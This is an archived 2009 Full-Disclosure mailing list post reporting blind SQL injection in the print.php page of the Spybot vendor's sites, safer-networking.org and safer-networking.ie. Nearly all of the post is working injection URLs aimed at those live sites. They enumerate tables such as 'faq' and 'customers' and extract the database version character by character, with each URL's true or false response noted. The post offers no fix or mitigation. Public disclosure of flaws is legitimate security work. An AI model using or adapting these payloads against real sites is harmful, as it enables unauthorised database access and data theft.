full-disclosure - Safer-networking.org: (Spybot) Vulnerable to Blind SQLi by VMw4r3

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <14356.64159.qm@web23504.mail.ird.yahoo.com>
Date: Fri, 11 Dec 2009 15:38:20 +0000 (GMT)
From: VMw4r3 <vmw4r3@...oo.ie>
To: full-disclosure@...ts.grok.org.uk
Subject: Safer-networking.org: (Spybot) Vulnerable to
	Blind SQLi by VMw4r3

Safer-networking.org: (Spybot) Vulnerable to Blind SQLi by VMw4r3

http://www.safer-networking.org/print.php?lang=jp&page=news&lang=jp%20and%20%28select%201%20from%20INFORMATION_SCHEMA.TABLES%20limit%200,1%29=1 <-- true

http://www.safer-networking.org/print.php?lang=jp&page=news&lang=jp%20and%20%28select%201%20from%20faq%20limit%200,1%29=1 <-- true

http://www.safer-networking.org/print.php?lang=jp&page=news&lang=jp%20and%20%28select%201%20from%20customers%20limit%200,1%29=1 <-- false

Safer-networking.ie also Vulnerable to Blind SQLi

http://www.safer-networking.ie/print.php?lang=en%20and%20substring%28@@version,1,1%29=4 <-- false

http://www.safer-networking.ie/print.php?lang=en%20and%20substring%28@@version,1,1%29=5 <-- true

http://img263.imageshack.us/img263/267/spybotfalse.png
http://img705.imageshack.us/img705/7976/spybottrue.png

VMw4r3

Send instant messages to your online friends http://uk.messenger.yahoo.com 
Content of type "text/html" skipped

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/